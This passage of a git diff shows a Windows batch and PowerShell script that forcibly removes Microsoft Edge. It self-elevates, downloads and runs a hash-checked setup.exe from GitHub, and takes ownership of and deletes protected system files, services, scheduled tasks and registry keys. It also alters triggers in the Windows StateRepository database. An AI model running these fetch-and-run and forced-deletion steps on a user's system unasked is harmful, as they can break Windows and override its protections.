$env:reg_SFT_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($env:reg_CLS_paths_scn) { $reg_cls_paths_scn = $env:reg_CLS_paths_scn.Trim().Split([string[]]"\\", [StringSplitOptions]::RemoveEmptyEntries) }^ + if ($reg_sft_paths_scn -or $reg_cls_paths_scn) {^ + $usids_exclude = @('S-1-5-18', 'S-1-5-19', 'S-1-5-20');^ + $reg_usrs_hives = (reg query "$env:REG_USERS_PATH" /k /f "*").ForEach({$_.Substring($_.LastIndexOf('\')+1)}).Where({$_.StartsWith('S-1-') -and -not $usids_exclude.Contains($_)});^ + $reg_sft_hives = ($reg_usrs_hives.ForEach({"HKU\$_\SOFTWARE\"})) + @('HKU\.DEFAULT\SOFTWARE\', 'HKLM\SOFTWARE\');^ + $reg_cls_hives = ($reg_usrs_hives.ForEach({"HKU\$_`_Classes\"})) + @('HKU\.DEFAULT\SOFTWARE\Classes\', 'HKLM\SOFTWARE\Classes\');^ + }^ + ^ + if ($locked_pkgs.Count -gt 0) {^ + Add-Type -Path $env:file_SQLite;^ + $attempts = 3; $rslt = $false;^ + while ($attempts) { --$attempts; Unlock-Packages $locked_pkgs ([ref]$rslt); if ($rslt) { break }; Start-Sleep 3 }^ + if ($rslt) { $pkgs += $locked_pkgs } else { "package(s) still locked, exclude:`n" + ($locked_pkgs -join "`n")%psl_dbg% }^ + }^ + ^ + "removing"%psl_dbg%;^ + foreach ($pkg in $pkgs) {^ + "package: $pkg`nremove"%psl_dbg%;^ + Remove-AppxPackage -Package $pkg -User $env:USER_SID;^ + Remove-AppxPackage -Package $pkg -AllUsers;^ + ^ + $pkg_parts = $pkg.Split('_');^ + foreach ($reg_sft_hive in $reg_sft_hives) { reg delete "$reg_sft_hive`Microsoft\UserData\UninstallTimes" /v "$($pkg_parts[0])_$($pkg_parts[4])" /f }^ + RegCleanup-Package($pkg_parts);^ + $edge_chnl_pos = $pkg_parts[0].IndexOf('.MicrosoftEdge.');^ + if ($edge_chnl_pos -ge 0) {^ + "cleanup of base package"%psl_dbg%;^ + $pkg_parts[0] = $pkg_parts[0].Substring(0, $edge_chnl_pos + 14);^ + RegCleanup-Package $pkg_parts;^ + }^ + ^ + "deprovision"%psl_dbg%;^ + reg add "$env:REG_APPX_STORE\EndOfLife\$env:USER_SID\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\EndOfLife\S-1-5-18\$pkg" /f;^ + reg add "$env:REG_APPX_STORE\Deprovisioned\$pkg" /f;^ + ^ + "package removed"%psl_dbg%;^ + }^ +}^ +function Unlock-Packages($pkgs, [ref]$rslt) {^ + "[Unlock-Packages()]`nstopping services"%psl_dbg%;^ + $rslt.Value = $false;^ + Stop-Service StateRepository -Force;^ + ^ + "acessing db files"%psl_dbg%;^ + takeown /f "$env:LOC_APPREPO_DB";^ + takeown /f "$env:LOC_APPREPO_DB`-shm";^ + takeown /f "$env:LOC_APPREPO_DB`-wal";^ + icacls "$env:LOC_APPREPO_DB*" /grant "$env:UserName`:F" /c;^ + ^ + "unlocking"%psl_dbg%;^ + $con = [System.Data.SQLite.SQLiteConnection]::new("Data Source=$env:LOC_APPREPO_DB");^ + $con.Open();^ + $cmd = $con.CreateCommand();^ + $cmd.CommandText = "SELECT name,sql FROM sqlite_master WHERE type='trigger' AND tbl_name='Package' AND name LIKE'%%AFTER%%' AND name LIKE'%%UPDATE%%'";^ + $res = $cmd.ExecuteReader();^ + $trgs = @{};^ + while ($res.Read()) { $trgs[$res.GetString(0)] = $res.GetString(1) } $res.Close();^ + ^ + try {^ + foreach ($trg_name in $trgs.Keys) { $cmd.CommandText = "DROP TRIGGER $trg_name"; $cmd.ExecuteNonQuery() }^ + foreach ($pkg in $pkgs) {^ + "package: $pkg"%psl_dbg%;^ + $cmd.CommandText = "UPDATE Package SET IsInbox=0 WHERE PackageFullName='$pkg'"; $cmd.ExecuteNonQuery();^ + reg delete "$env:REG_APPX_STORE\InboxApplications\$pkg" /f;^ + }^ + foreach ($trg_query in $trgs.Values) { $cmd.CommandText = $trg_query; $cmd.ExecuteNonQuery() }^ + "unlocked"%psl_dbg%;^ + $rslt.Value = $true^ + }^ + catch { $_%psl_dbg%; "unlocking failed"%psl_dbg% }^ + ^ + $con.Close();^ + "[Unlock-Packages().end]"%psl_dbg%^ +}^ +function RegCleanup-Package($pkg_fname_parts) {^ + "[RegCleanup-Package()]`nregistry scan"%psl_dbg%;^ + $pkg_name = $pkg_fname_parts[0] + '_';^ + $pkg_pid = '_' + $pkg_fname_parts[4];^ + $reg_pkg_keys = @();^ + foreach ($reg_sft_hive in $reg_sft_hives) {^ + foreach ($reg_sft_path in $reg_sft_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_sft_hive$reg_sft_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + foreach ($reg_cls_hive in $reg_cls_hives) {^ + foreach ($reg_cls_path in $reg_cls_paths_scn) {^ + $reg_pkg_keys += (reg query "$reg_cls_hive$reg_cls_path" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + }^ + }^ + $reg_pkg_keys += (reg query "$env:REG_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + $reg_pkg_keys += (reg query "$env:REG32_APPX_STORE" /s /f $pkg_name /k).Where({$_.StartsWith('HKEY_') -and $_.Contains($pkg_pid)});^ + ^ + "registry cleanup"%psl_dbg%;^ + foreach ($reg_pkg_key in $reg_pkg_keys) { $reg_pkg_key%psl_dbg%; reg delete $reg_pkg_key /f }^ + "[RegCleanup-Package().end]"%psl_dbg%;^ +}^ +main;^ +;| powershell -noprofile - + +:_appx_unlock_and_delete.end +echo [appx_unlock_and_delete().end] %cll_dbg% +exit /b 0 diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge.bat b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge.bat index 48c85457..1c56c302 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge.bat +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Edge.bat @@ -1,809 +1,865 @@ -@echo off & setlocal -REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) -if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 - -REM -REM Check permissions and elevate if required -REM Obtain required files (from cache or from repo with hash validation) -REM Remove Edge -REM Remove AppX -REM Remove Edge remains -REM Remove AppX remains -REM Remove Extras -REM - -set "ISSUE_GENERIC=1" -set "ISSUE_UAC=2" -set "ISSUE_NETWORK=3" -set "ISSUE_DOWNLOAD=4" -set "ISSUE_HASH=5" -set "ISSUE_ARCH=6" - -REM check for architecture (x86 and amd64 are supported, arm - not) -if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass -if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass -echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% -:arch.pass - -set "SCRIPT_VERSION=11/26/2025" -REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) -REM also see Both.bat for details -call :log_lvl.debug "%~1" - -title Edge Remover - %SCRIPT_VERSION% -echo [main_script.start] %bat_dbg% - - - -echo [uac()] %bat_dbg% -REM Get executor SID (Win 2003(XP x64) and up) -for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" -REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) -set "USER_SID=%~1" -REM Check Admin permissions -net session >NUL 2>&1 -echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% -if %errorlevel% equ 0 goto uac.success -REM When UAC disabled, elevation not works and SID never changes -if /i "%EXEC_SID%" equ "%USER_SID%" ( - echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% -) -REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) -if /i "%USER_SID:~0,6%" equ "S-1-5-" ( - REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail - echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% -) -REM Elevate with psl (don't try go around cmd /c; see Both.bat for quotes details) -echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% -echo [uac().elevated] err: "%errorlevel%" %bat_dbg% -exit /b %errorlevel% - -REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled -:uac.success -echo [uac().success] %bat_dbg% -REM 1st arg looks like valid rev.1 SID (assume elevation by script) -if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done -REM 1st arg does not look like valid SID (elevation NOT by script) -set "USER_SID=%EXEC_SID%" -REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition -if "%EXEC_SID:~-4%" neq "-500" goto uac.done -REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation -if /i "%~1" equ "-auto" goto uac.done -REM Built-in Admin account enabled and script not self elevated nor automated -choice /c yn /n /m "Logged as Admin? [Y,N]" -REM Check for positive answer, anything else considered as No -echo answer: %errorlevel% %bat_dbg% -if %errorlevel% equ 1 goto uac.done -echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% - -:uac.done -echo [uac().done] %bat_dbg% - - - -set "has_net=0" -ipconfig | find "IPv" >NUL 2>&1 -if %errorlevel% equ 0 set "has_net=1" -echo has network: %has_net% %bat_dbg% - -REM prepare architecture-depend stuff (see Both.bat for details) -echo - Obtaining required files -echo [prepare()] %bat_dbg% -goto prepare.%PROCESSOR_ARCHITECTURE% - - -:prepare.amd64 -echo [prepare().amd64] %bat_dbg% - -set "x86ProgramsFolder=%ProgramFiles(x86)%" - -call :file_obtain^ - "setup.x64.exe"^ - "0950336e0d633eb645e0cf66780d2102a182caa184264d4f62146fe229f636e7"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x64.exe"^ - "file_setup_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -call :file_obtain^ - "System.Data.SQLite.x64.dll"^ - "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -set "file_setup=%file_setup_loc:.x64.=.%" -set "file_SQLite=%file_SQLite_loc:.x64.=.%" - -goto prepare.end - - -:prepare.x86 -echo [prepare().x86] %bat_dbg% - -set "x86ProgramsFolder=%ProgramFiles%" - -REM Thanks to @Ameterius for the 32bit setup.exe -call :file_obtain^ - "setup.x86.exe"^ - "97935c67fe17c388cff6c498b565130f9262ea9518150303fff08576c67cfd9d"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x86.exe"^ - "file_setup_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -call :file_obtain^ - "System.Data.SQLite.x86.dll"^ - "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -set "file_setup=%file_setup_loc:.x86.=.%" -set "file_SQLite=%file_SQLite_loc:.x86.=.%" - -goto prepare.end - -:prepare.end -echo [prepare().end] %bat_dbg% -REM create hardlinks -del /f /q "%file_setup%" %bat_log% -del /f /q "%file_SQLite%" %bat_log% -fsutil hardlink create "%file_setup%" "%file_setup_loc%" %bat_log% -fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% - -echo x86ProgramsFolder: %x86ProgramsFolder% %bat_dbg% -echo [prepare().done] %bat_dbg% - - - -REM query packages by pattern before Edge uninstalling -echo query packages %bat_dbg% -set "pkgs_pattern=*microsoftedge*" -for /f "delims=" %%p in ('powershell -noprofile -c "$pkgs='';foreach($pkg in (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern})){$pkgs+=' '+[int]$pkg.NonRemovable+$pkg.PackageFullName}$pkgs.Trim()"') do ( - set "pkgs_list=%%~p" -) -echo "%pkgs_list%" %bat_dbg% -echo packages queried %bat_dbg% - - - -%stp_dbg_rst% - - - -REM #Uninstall -echo [uninstall()] %bat_dbg% -echo - Removing Edge -echo [uninstall().edge.init] %bat_dbg% -where "%x86ProgramsFolder%\Microsoft\Edge\Application:*" %bat_log% -if %errorlevel% neq 0 goto uninstall.edge.done - -echo [uninstall().edge] %bat_dbg% -taskkill /im MicrosoftEdgeUpdate.exe /f /t %bat_log% -start /w "" "%file_setup%" --uninstall --system-level --force-uninstall %stp_dbg_arg% %bat_log% -%stp_dbg_get% - -:uninstall.edge.done -echo [uninstall().edge.done] %bat_dbg% - - -echo - Removing AppX -echo [uninstall().appx.init] %bat_dbg% -set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" -set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" -set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" - -set "reg_SFT_paths_scn=" -set "reg_CLS_paths_scn=" -REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_???_paths_scn="") -REM delimiter is \\, scan is recursive (see Both.bat for details) - -REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key -REM HIVE\SOFTWARE\ part should be excluded from path -echo [uninstall().appx.init.reg_SFT] %bat_dbg% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% -REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key -REM HIVE\SOFTWARE\Classes\ part should be excluded from path -echo [uninstall().appx.init.reg_CLS] %bat_dbg% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% - -echo [uninstall().appx] %bat_dbg% -call :appx_unlock_and_delete %bat_log% - -echo [uninstall().appx.done] %bat_dbg% - -echo [uninstall().end] %bat_dbg% - - - -REM #Cleanup -echo [cleanup()] %bat_dbg% -echo - Cleaning Edge remains -echo [cleanup().edge] %bat_dbg% - -REM Delete Edge empty folders -echo [cleanup().edge.dirs] %bat_dbg% -rd /s /q "%x86ProgramsFolder%\Microsoft\Edge" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeCore" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeUpdate" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\Temp" %bat_log% -rd /s /q "%AllUsersProfile%\Microsoft\EdgeUpdate" %bat_log% - -REM Delete Edge Update Tasks -echo [cleanup().edge.tasks] %bat_dbg% -for /f "tokens=1 delims=," %%n in ('schtasks /query /fo csv') do ( call :task_remove "%%~n" %bat_log% ) - -REM Delete Edge Update Services -echo [cleanup().edge.services] %bat_dbg% -set "service_names=edgeupdate edgeupdatem microsoftedgeelevationservice" -for %%n in (%service_names%) do ( call :service_remove "%%~n" %bat_log% ) - -REM Delete Desktop, StartMenu and TaskBar shortcuts; cleanup user registry -echo [cleanup().edge.users] %bat_dbg% -for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Public') do ( call :user_lnks_remove_by_path "%%~d" %bat_log% ) -del /f /q "%AllUsersProfile%\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" %bat_log% -for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Default') do ( - call :user_lnks_remove_by_path "%%~d" %bat_log% - call :user_reg_cleanup .DEFAULT "%%~d" %bat_log% -) -for /f "skip=1 tokens=7 delims=\" %%k in ('reg query "%REG_USERS_PATH%" /k /f "*"') do ( call :user_cleanup_by_sid %%k %bat_log% ) - -echo [cleanup().edge.done] %bat_dbg% - - -echo - Cleaning AppX remains -echo [cleanup().appx] %bat_dbg% -REM Delete remained packages -REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.SystemApps] %bat_dbg% -for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) -REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.WindowsApps] %bat_dbg% -for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) - -echo [cleanup().appx.done] %bat_dbg% - -echo [cleanup().end] %bat_dbg% - - - -REM #Additional Data -echo - Removing additional data -echo [extra_cleanup()] %bat_dbg% -REM Registry -echo [extra_cleanup().registry.regular] %bat_dbg% -reg delete "HKLM\SOFTWARE\Classes\AppID\MicrosoftEdgeUpdate.exe" /f %bat_log% -reg delete "HKLM\SOFTWARE\Classes\AppID\{1FCBE96C-1697-43AF-9140-2897C7C69767}" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{9459C573-B17A-45AE-9F64-1857B5D58CEE}" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Edge" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\EdgeUpdate" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\MicrosoftEdge" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Edge" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f %bat_log% - -set "reg_HKLM_keys_del=" -REM Keys for TakeOwn+FullControl and deleting, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_HKLM_keys_del="") -REM delimiter is \\ (see Both.bat for details) -echo [extra_cleanup().registry.inaccessible.init] %bat_dbg% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.BCHostServer" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.ContentProcessServer" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.F12Server" %bat_log% - -echo [extra_cleanup().registry.inaccessible] %bat_dbg% -call :reg_HKLM_keys_access_and_delete %bat_log% - -REM System32 -echo [extra_cleanup().files.System32] %bat_dbg% -for %%f in ("%SystemRoot%\System32\MicrosoftEdge*.exe") do ( - echo file: "%%~f" %bat_dbg% - takeown /f "%%~f" %bat_log% - icacls "%%~f" /grant "%UserName%:F" /c %bat_log% - del /f /q "%%~f" %bat_log% -) - - -REM Malformed Keys -echo - Fixing registry -echo [extra_cleanup().registry.fix] %bat_dbg% -setlocal EnableDelayedExpansion -set "reg_path=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -for /f "tokens=*" %%k in ('reg query "%reg_path%" /s 2^>NUL ^| findstr /b /i "%reg_path%"') do ( - set "full_key=%%k" - set "delete_key=false" - set "reason=" - for %%a in ("!full_key!") do set "key_name=%%~nxa" - REM Skip empty or unchanged names - if "!key_name!"=="" ( - set "reason=empty key name" - ) else if "!key_name!"=="!full_key!" ( - set "reason=key name same as full path" - ) else ( - REM Check for space - set "spaced_key=!key_name: =!" - if not "!key_name!"=="!spaced_key!" ( - set "delete_key=true" - ) else ( - REM Check for letters - echo /7 - !key_name! | findstr /r /c:"[a-zA-Z]" >NUL - if !errorlevel! neq 0 set "delete_key=true" - ) - ) - if "!delete_key!"=="true" reg delete "!full_key!" /f >nul 2>&1 -) -endlocal - - -echo [extra_cleanup().end] %bat_dbg% - - - -REM Main script end -echo - Edge removal complete -echo [main_script.end] %bat_dbg% -REM remove hardlinks -del /f /q "%file_setup%" %bat_log% -del /f /q "%file_SQLite%" %bat_log% -echo [main_script.done] %bat_dbg% -exit /b 0 - - - -REM ===== Functions ===== - -REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script -REM labels, starts with regular symbol, are public functions and can be called from main script - - -REM levels of logging verbosity - -:log_lvl.none -REM release mode -set "bat_log=>NUL 2>&1" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -REM power_hell(even 7.5) put errors to stdout if stderr not redirected -set "for_out_hlpr=2^>NUL" -REM set "for_out_get=" -REM set "for_out_del=" -REM all output mutes so there nothing in console -set "ecm=/c" -REM set "stp_dbg_arg=" -REM set "stp_dbg_get=" -REM set "stp_dbg_rst=" -exit /b 0 - -:log_lvl.errors -REM errors only -set "bat_log=>NUL" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -set "ecm=/k" -REM set "stp_dbg_arg=" -REM set "stp_dbg_get=" -REM set "stp_dbg_rst=" -exit /b 0 - -:log_lvl.debug -REM debug mode, put all output to file(except user-trageted output) -set "bat_log=>>"%~dpn0_dbg.log" 2>&1" -set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" -REM resolves issue with accessing log file from sub-routines -REM set "cll_dbg=" -REM set "psl_dbg=" -REM redirect debug to stderr -REM it can works without extra file but it's a quirk -set "for_psl_dbg=^^^^^^^|dbg2err" -set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -REM all output redirected to file except batch errors -set "ecm=/k" -set "stp_dbg_arg=--verbose-logging" -REM uninstaller log grabber -set "stp_dbg_get=type "%Temp%\msedge_installer.log" %bat_dbg% & type NUL>"%Temp%\msedge_installer.log"" -REM reset existing log -set "stp_dbg_rst=type NUL>"%Temp%\msedge_installer.log"" -REM resolves issue with accessing log file on elevation -timeout /t 1 /nobreak >NUL 2>&1 -REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) -if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -exit /b 0 - - -REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required -REM if file successfully validated its full path will be stored to variable -REM arguments: file name, file hash, file URL and variable name in this exact order -REM return result as exit code -:file_obtain -echo [file_obtain()] %cll_dbg% -echo name: "%~1" %cll_dbg% -echo hash: "%~2" %cll_dbg% -echo url: "%~3" %cll_dbg% -echo var: "%~4" %cll_dbg% -if "%~1" equ "" goto _file_obtain.fail -if "%~2" equ "" goto _file_obtain.fail -if "%~3" equ "" goto _file_obtain.fail -if "%~4" equ "" goto _file_obtain.fail - -set "on_hash_err=download" -set "file_path=%~dp0%~1" -if exist "%file_path%" goto _file_obtain.check -set "file_path=%tmp%\%~1" -if exist "%file_path%" goto _file_obtain.check - -echo file not cached %cll_dbg% - -:_file_obtain.download -if %has_net% equ 0 goto _file_obtain.net.fail - -echo [file_obtain().download] %cll_dbg% -set "on_hash_err=check.fail" -powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" -if %errorlevel% neq 0 goto _file_obtain.download.fail -if not exist "%file_path%" goto _file_obtain.download.fail - -:_file_obtain.check -echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% -powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" -if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% - -set "%~4=%file_path%" -echo [file_obtain().done] %cll_dbg% -exit /b 0 - -:_file_obtain.fail -set "errorinfo=%ISSUE_GENERIC%: generic" -echo [file_obtain().fail] %cll_dbg% -exit /b %ISSUE_GENERIC% - -:_file_obtain.net.fail -set "errorinfo=%ISSUE_NETWORK%: no network" -echo [file_obtain().net.fail] %cll_dbg% -exit /b %ISSUE_NETWORK% - -:_file_obtain.download.fail -set "errorinfo=%ISSUE_DOWNLOAD%: download error" -echo [file_obtain().download.fail] %cll_dbg% -exit /b %ISSUE_DOWNLOAD% - -:_file_obtain.check.fail -set "errorinfo=%ISSUE_HASH%: hash mismatch" -echo [file_obtain().check.fail] %cll_dbg% -exit /b %ISSUE_HASH% - - -REM remove task by name if name match pattern -:task_remove -set "task_name=%~1" -if "%task_name:~0,1%" neq "\" goto _task_remove.end -if /i "%task_name:\MicrosoftEdge=%" equ "%task_name%" goto _task_remove.end -echo [task_remove()] "%task_name%" %cll_dbg% -schtasks /end /tn "%task_name%" -schtasks /delete /tn "%task_name%" /f -del /f /q "%SystemRoot%\System32\Tasks%task_name%" -echo [task_remove().end] %cll_dbg% - -:_task_remove.end -exit /b 0 - - -REM remove service by name -:service_remove -echo [service_remove()] "%~1" %cll_dbg% -sc stop "%~1" -if %errorlevel% equ 1060 goto _service_remove.end -sc delete "%~1" -reg delete "HKLM\SYSTEM\CurrentControlSet\Services\%~1" /f -echo service removed %cll_dbg% - -:_service_remove.end -echo [service_remove().end] %cll_dbg% -exit /b 0 - - -REM retrieve location of user profile by user SID -REM call shortcuts removing -REM call cleanup of user registry -:user_cleanup_by_sid -echo [user_cleanup_by_sid()] "%1" %cll_dbg% -if /i "%1" equ "S-1-5-18" goto _user_cleanup_by_sid.end -if /i "%1" equ "S-1-5-19" goto _user_cleanup_by_sid.end -if /i "%1" equ "S-1-5-20" goto _user_cleanup_by_sid.end - -echo accepted %cll_dbg% -for /f 